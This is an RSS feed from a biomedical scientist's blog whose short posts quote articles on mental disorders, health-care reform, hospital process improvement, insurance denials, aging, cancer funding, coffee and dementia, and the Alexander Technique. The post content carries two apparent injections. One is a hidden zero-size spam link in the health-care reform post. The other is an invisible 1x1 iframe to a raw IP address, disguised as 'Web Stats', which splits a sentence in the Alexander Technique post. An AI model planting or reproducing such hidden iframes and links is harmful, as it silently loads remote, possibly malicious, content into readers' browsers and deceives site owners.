<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Justin Shenk &#187; Health &amp; Medicine</title>
	<atom:link href="http://www.jshenk.com/category/research/health-medicine/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jshenk.com</link>
	<description>Biomedical Scientist from San Antonio, Texas</description>
	<lastBuildDate>Tue, 26 Jan 2010 18:56:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Theoretical Biology and Medical Modelling &#124; Full text &#124; A Global Workspace perspective on mental disorders</title>
		<link>http://www.jshenk.com/2010/01/theoretical-biology-and-medical-modelling-full-text-a-global-workspace-perspective-on-mental-disorders/</link>
		<comments>http://www.jshenk.com/2010/01/theoretical-biology-and-medical-modelling-full-text-a-global-workspace-perspective-on-mental-disorders/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 22:43:15 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Science]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=338</guid>
		<description><![CDATA[We have begun to outline a consciousness-centered perspective on mental disorders, both those determined by defects in large-scale brain connectivity, and possibly by related failures of embedding goal contexts to constrain the topological dynamics of the global workspace. Further work in this direction might well focus on characterizing specific disorders from this viewpoint, and designing [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>We have begun to outline a consciousness-centered perspective on mental disorders, both those determined by defects in large-scale brain connectivity, and possibly by related failures of embedding goal contexts to constrain the topological dynamics of the global workspace. Further work in this direction might well focus on characterizing specific disorders from this viewpoint, and designing experiments to test such characterizations.Equation 9 and the arguments surrounding it, however, already provide, in the context of mental disorders, quite a &#8216;hard science&#8217; basis for the evolutionary anthropologist Robert Boyd&#8217;s oft-repeated assertion that &#8220;culture is as much a part of human biology as the enamel on our teeth.&#8221;Not only culture and socioeconomic status, but historical trajectory, power relations between individuals and groups, and the effects of public policy, will write images of themselves onto the fundamental topology of individual consciousness, too frequently defining paths of debilitating developmental disorder which can blight lives.</p></blockquote>
<p>via <a href="http://www.tbiomed.com/content/2/1/49">Theoretical Biology and Medical Modelling | Full text | A Global Workspace perspective on mental disorders</a>, by Rodrick Wallace, <em>Theoretical Biology and Medical Modelling</em> 2005, 			 <strong>2</strong><strong>:</strong>49.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2010/01/theoretical-biology-and-medical-modelling-full-text-a-global-workspace-perspective-on-mental-disorders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Health Care Blog: Medicine&#8217;s Missing Foundation for Health Care Reform</title>
		<link>http://www.jshenk.com/2009/06/the-health-care-blog-medicines-missing-foundation-for-health-care-reform/</link>
		<comments>http://www.jshenk.com/2009/06/the-health-care-blog-medicines-missing-foundation-for-health-care-reform/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 23:55:24 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[evidence based medicine]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=300</guid>
		<description><![CDATA[Yes! Exactly. More on this later.
optical communicationsABSTRACT:  Medical practice lacks a foundation in scientific behavior corresponding to its foundation in scientific knowledge.  The missing foundation involves standards of care to govern how practitioners manage clinical information.  These standards of care, roughly analogous to accounting standards for managing financial information, are essential to [...]]]></description>
			<content:encoded><![CDATA[<p>Yes! Exactly. More on this later.</p>
<blockquote><p><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">optical communications</a></font>ABSTRACT:  Medical practice lacks a foundation in scientific behavior corresponding to its foundation in scientific knowledge.  The missing foundation involves standards of care to govern how practitioners manage clinical information.  These standards of care, roughly analogous to accounting standards for managing financial information, are essential to exploit the enormous potential of health information technology. Moreover, without these standards and corresponding information tools, evidence-based medicine in its current form is unworkable.  Medical practice has failed to adopt the necessary standards and tools, because its historical development has diverged from the paths taken in the domains of science and commerce. The culture of medicine tolerates unnecessary dependence on the personal intellects of practitioners.  This dependence has blocked the use of potent information tools, and isolated medicine from forces of feedback and accountability, that operate in the domains of science and commerce.  If the necessary standards and tools are adopted, health care cost and quality could become an arena of continuous improvement, rather than a quagmire of intractable dilemmas.</p>
</blockquote>
<p>via <a href='http://www.thehealthcareblog.com/the_health_care_blog/2009/04/medicines-missing-foundation-for-health-care-reform.html'>The Health Care Blog: Medicine&#8217;s Missing Foundation for Health Care Reform</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/the-health-care-blog-medicines-missing-foundation-for-health-care-reform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emory University&#8217;s Cookbook Medicine and Standardized Care</title>
		<link>http://www.jshenk.com/2009/06/emory-universitys-cookbook-medicine-and-standardized-care/</link>
		<comments>http://www.jshenk.com/2009/06/emory-universitys-cookbook-medicine-and-standardized-care/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 20:50:13 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=298</guid>
		<description><![CDATA[Emory’s recent quality initiatives are striving to plug the holes in the Swiss cheese by borrowing a page from an unlikely source—a car manufacturer. Specifically, Emory is adopting the LEAN process-improvement program originally developed by Toyota. In a nutshell, LEAN is a philosophy committed to customer service, elimination of waste, and continuous improvement. It provides [...]]]></description>
			<content:encoded><![CDATA[<p>Emory’s recent quality initiatives are striving to plug the holes in the Swiss cheese by borrowing a page from an unlikely source—a car manufacturer. Specifically, Emory is adopting the LEAN process-improvement program originally developed by Toyota. In a nutshell, LEAN is a philosophy committed to customer service, elimination of waste, and continuous improvement. It provides tools to intentionally and thoughtfully design processes to meet these goals.</p>
<blockquote><p>     “The manufacturing industry has done a great job in pioneering many of these principles,” says Hal Jones, director of quality support services for Emory Healthcare. “For example, those of us who are prone to locking our keys in the car are grateful to car companies for building processes that now make that virtually impossible. We, in health care, need to learn to do the same thing—to build processes that make it virtually impossible not to do the right thing.”</p>
<p>     To follow the LEAN model, health care needs to standardize processes as much as possible, quite a switch for an industry built on autonomy and individual accountability. “This philosophy definitely goes against the grain of what many of us have learned over the years,” says Bornstein. “Also, critics say health care is not the same as making cars or widgets. That is absolutely true. Patients are individuals. But there can be some similarities between making cars and treating patients. If, for example, we decide that every patient who meets certain criteria should get a flu shot, then we can use manufacturing and&#8221;Any doctor in our system can give you a personal example of the electronic prescription writer catching a medication error that was about to be made.&#8221; says Penny Castellano, CQO of The Emory Clinic production principles to achieve that goal. And we can reach a higher success rate with that approach than if we wait until we see each patient and then decide on the fly.”</p>
</blockquote>
<p>via <a href='http://www.whsc.emory.edu/_pubs/momentum/2007summer/cookbook_med.html'>Momentum &#8211; Cookbook Medicine</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/emory-universitys-cookbook-medicine-and-standardized-care/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>From &#8220;The Unconventional Doctor&#8221;</title>
		<link>http://www.jshenk.com/2009/06/from-the-unconventional-doctor/</link>
		<comments>http://www.jshenk.com/2009/06/from-the-unconventional-doctor/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 20:15:36 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[insurance]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=296</guid>
		<description><![CDATA[Look at him go!
I&apos;m sorry that we have not been able to provide the medical services that we decide are needed. I called your insurance company and talked with a nurse, who told me that the test was not medically necessary. I guess I should have been a nurse so I could make the decisions [...]]]></description>
			<content:encoded><![CDATA[<p>Look at him go!</p>
<p><block>I&apos;m sorry that we have not been able to provide the medical services that we decide are needed. I called your insurance company and talked with a nurse, who told me that the test was not medically necessary. I guess I should have been a nurse so I could make the decisions needed for your health care. I&apos;m sorry that the medical review director of the insurance company left the office at 3 pm that day so I couldn&apos;t talk to them and tell them it was medically necessary for the tests I wanted to do to get done right away. I&apos;m sorry that you ended up in the ER at 2 am with a ruptured appendix. I&apos;m sorry you stayed in the hospital an extra week because your appendix ruptured and you are still off work. I&apos;m sorry your insurance company only wants to pay for 3 days of hospitalization when you were still throwing up, not eating, and requiring IV pain medication on that day. I&apos;m sorry they wouldn&apos;t cover your medication I sent you home on.</p>
<p>via <a href='http://unconventionaldoctor.blogspot.com/'>The Unconventional Doctor</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/from-the-unconventional-doctor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pieces of the Puzzle: An Interview with Barbara Gilchrest, M.D.</title>
		<link>http://www.jshenk.com/2009/06/pieces-of-the-puzzle-an-interview-with-barbara-gilchrest-md/</link>
		<comments>http://www.jshenk.com/2009/06/pieces-of-the-puzzle-an-interview-with-barbara-gilchrest-md/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 20:47:39 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=289</guid>
		<description><![CDATA[From tretinoin and retinoids in preventing skin aging to telomeres as the ultimate cause and target of all aging, dermatologist Dr. Gilchrest provides a thoughtful and insightful look into her research at Boston University studying aging in skin cells.
Link: Pieces of the Puzzle: An Interview with Barbara Gilchrest, MD.
Journal of Anti-Aging Medicine. 5:153-159, 2002.
]]></description>
			<content:encoded><![CDATA[<p>From tretinoin and retinoids in preventing skin aging to telomeres as the ultimate cause and target of all aging, dermatologist Dr. Gilchrest provides a thoughtful and insightful look into her research at Boston University studying aging in skin cells.</p>
<p><a href="http://www.liebertonline.com/doi/pdf/10.1089/10945450260195595?cookieSet=1">Link: Pieces of the Puzzle: An Interview with Barbara Gilchrest, MD</a>.<br />
Journal of Anti-Aging Medicine. 5:153-159, 2002.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/pieces-of-the-puzzle-an-interview-with-barbara-gilchrest-md/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stand up 2 Cancer and the Cancer Prevention and Research Insititute of Texas</title>
		<link>http://www.jshenk.com/2009/06/stand-up-2-cancer-and-the-cancer-prevention-and-research-insititute-of-texas/</link>
		<comments>http://www.jshenk.com/2009/06/stand-up-2-cancer-and-the-cancer-prevention-and-research-insititute-of-texas/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 20:15:10 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Science]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[texas]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=287</guid>
		<description><![CDATA[A friend was recently diagnosed with pancreatic cancer. Stand up 2 Cancer is a &#8220;pop&#8221; research funding enterprise (is it cool to be a scientist yet?) &#8211; Link: WELCOME TO SUTV &#124; SU2C. Dream team? Sure sounds like they are having fun.
Also noteworthy is the CPRIT, recently approved by the Texas Legislature ($3 billion over [...]]]></description>
			<content:encoded><![CDATA[<p>A friend was recently diagnosed with pancreatic cancer. Stand up 2 Cancer is a &#8220;pop&#8221; research funding enterprise (is it cool to be a scientist yet?) &#8211; Link: <a href="http://www.standup2cancer.org/sutv?sid=0&amp;vid=917">WELCOME TO SUTV | SU2C</a>. Dream team? Sure sounds like they are having fun.</p>
<p>Also noteworthy is the CPRIT, recently approved by the Texas Legislature ($3 billion over the next 10 years). This will be huge for Texas in developing a cure for cancer and expanding our biotech and life sciences industry. The Chief Scientific Officer is former University of Texas Southwestern Medical School dean and nobel laurete (2004) Alfred G. Gilman, MD, PhD.</p>
<p>Check out their site. &#8211; Link:<a href="http://www.cprit.state.tx.us/"> http://www.cprit.state.tx.us/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/stand-up-2-cancer-and-the-cancer-prevention-and-research-insititute-of-texas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Faculty of 1000 Biology &#124; Midlife coffee and tea drinking and the risk of late-life dementia: a population-based CAIDE study.</title>
		<link>http://www.jshenk.com/2009/06/faculty-of-1000-biology-midlife-coffee-and-tea-drinking-and-the-risk-of-late-life-dementia-a-population-based-caide-study/</link>
		<comments>http://www.jshenk.com/2009/06/faculty-of-1000-biology-midlife-coffee-and-tea-drinking-and-the-risk-of-late-life-dementia-a-population-based-caide-study/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 23:59:37 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Food]]></category>
		<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[Alzheimer's disease]]></category>
		<category><![CDATA[coffee]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=268</guid>
		<description><![CDATA[This is one of the best documented cohort-based studies showing that coffee drinking provides protection from dementia in midlife and Alzheimer&#8217;s disease (AD) in late life.

via George Perry: 								 Faculty of 1000 Biology, 16 Feb 2009 http://www.f1000biology.com/article/id/1147566/evaluation
]]></description>
			<content:encoded><![CDATA[<blockquote><p>This is one of the best documented cohort-based studies showing that coffee drinking provides protection from dementia in midlife and Alzheimer&#8217;s disease (AD) in late life.
</p></blockquote>
<p>via <a title="Coffee and AD" href="http://www.f1000biology.com/article/id/1147566/evaluation">George Perry: 								 Faculty of 1000 Biology, 16 Feb 2009 http://www.f1000biology.com/article/id/1147566/evaluation</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/faculty-of-1000-biology-midlife-coffee-and-tea-drinking-and-the-risk-of-late-life-dementia-a-population-based-caide-study/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thoughts on future doctors &#8212; Smith 102 (3): 89 &#8212; JRSM</title>
		<link>http://www.jshenk.com/2009/06/thoughts-on-future-doctors-smith-102-3-89-jrsm/</link>
		<comments>http://www.jshenk.com/2009/06/thoughts-on-future-doctors-smith-102-3-89-jrsm/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 22:05:46 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[futurology]]></category>
		<category><![CDATA[physicians]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=266</guid>
		<description><![CDATA[Richard Smith surveys contemporary futurology of physicians in the Journal of the Royal Society of Medicine. He finds the new roles of physicians are expanding and will require the management of ideas, patients, and a sense of &#8220;citizenship&#8221; like never before. One must wonder how changes in public policy and health care managers&#8217; desire to [...]]]></description>
			<content:encoded><![CDATA[<p>Richard Smith surveys contemporary futurology of physicians in the Journal of the Royal Society of Medicine. He finds the new roles of physicians are expanding and will require the management of ideas, patients, and a sense of &#8220;citizenship&#8221; like never before. One must wonder how changes in public policy and health care managers&#8217; desire to specialize their services will effect an even different physician&#8217;s role.</p>
<blockquote><p>Capacity to change: one of the few things we can know with confidence about healthcare 40 years from now, when many current medical students will still be practising, is that it will be very different from now. Future doctors will probably need more than a capacity for change: they will need an enthusiasm for change;</p>
<p>via <a href="http://www.jrsm.rsmjournals.com/cgi/content/full/102/3/89">Thoughts on future doctors &#8212; Smith 102 (3): 89 &#8212; JRSM</a>.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/thoughts-on-future-doctors-smith-102-3-89-jrsm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The pathos of studying happiness : bioephemera</title>
		<link>http://www.jshenk.com/2009/06/the-pathos-of-studying-happiness-bioephemera/</link>
		<comments>http://www.jshenk.com/2009/06/the-pathos-of-studying-happiness-bioephemera/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 04:25:54 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=261</guid>
		<description><![CDATA[Shenk doesn&#8217;t exclude Vaillant himself from his ruminations on happiness. While Vaillant&#8217;s approach to all of this has been optimistic &#8211; constantly seeking new sources of funding to continue and expand the study, out of faith that it would reveal factors that predict healthy aging and happiness &#8211; Shenk paints a picture of a man [...]]]></description>
			<content:encoded><![CDATA[<p>Shenk doesn&#8217;t exclude Vaillant himself from his ruminations on happiness. While Vaillant&#8217;s approach to all of this has been optimistic &#8211; constantly seeking new sources of funding to continue and expand the study, out of faith that it would reveal factors that predict healthy aging and happiness &#8211; Shenk paints a picture of a man every bit as complex as his subjects. Vailant is a professional success, apparently happy, but he has several failed marriages and troubled relationships with his children. Vaillant calls himself &#8220;a disconnected, narcissistic father,&#8221; yet when asked &#8220;What have you learned from the Grant Study men?&#8221; Vaillant answered, &#8220;That the only thing that really matters in life are your relationships to other people.&#8221; Vaillant symbolizes one of Shenk&#8217;s main points: that self-knowledge doesn&#8217;t necessarily bring either happiness or power. Recognizing and studying the dysfunctions in one&#8217;s own life doesn&#8217;t give one the power to fix them.</p>
<p>via <a href="http://scienceblogs.com/bioephemera/2009/05/studying_happiness.php?utm_source=nytwidget">The pathos of studying happiness : bioephemera</a>.</p>
<p>This is a great introduction to an <a title="Article on Happiness" href="http://www.theatlantic.com/doc/200906/happiness">article</a> by Joshua Shenk on happiness.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/06/the-pathos-of-studying-happiness-bioephemera/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alexander Technique &#8211; Wikipedia, the free encyclopedia</title>
		<link>http://www.jshenk.com/2009/05/alexander-technique-wikipedia-the-free-encyclopedia/</link>
		<comments>http://www.jshenk.com/2009/05/alexander-technique-wikipedia-the-free-encyclopedia/#comments</comments>
		<pubDate>Sun, 24 May 2009 17:32:17 +0000</pubDate>
		<dc:creator>Justin</dc:creator>
				<category><![CDATA[Health & Medicine]]></category>

		<guid isPermaLink="false">http://www.jshenk.com/?p=257</guid>
		<description><![CDATA[A subsequent review of the economic implications of the study concluded that &#8220;a series of six lessons in Alexander technique combined with an exercise prescription seems the most effective and cost effective option for the treatment of back pain in primary care.
via Alexander Technique &#8211; Wikipedia, the free encyclopedia.
Sandra Hollinghurst et al.,Randomised controlled trial of [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>A subsequent review of the economic implications of the study concluded that &#8220;a series of six lessons in Alexander technique combined with an exercise prescription seems the most effective and cost effective option for the treatment of back pain in primary care.</p>
<p>via <a href="http://en.wikipedia.org/wiki/Alexander_Technique">Alexander Technique &#8211; Wikipedia, the free encyclopedia</a>.</p>
<p>Sandra Hollinghurst et al.,<a class="external text" title="http://www.bmj.com/cgi/content/full/337/dec11_2/a2656" rel="nofollow" href="http://www.bmj.com/cgi/content/full/337/dec11_2/a2656">Randomised controlled trial of Alexander technique lessons, exercise, and massage (ATEAM) for chronic and recurrent back pain: economic evaluation</a>,<a class="mw-redirect" title="British Medical Journal" href="http://en.wikipedia.org/wiki/British_Medical_Journal">British Medical Journal</a>, 11 December 2008.</p></blockquote>
<p>Aldous<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> Huxley was a fan. May be worth checking out.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jshenk.com/2009/05/alexander-technique-wikipedia-the-free-encyclopedia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
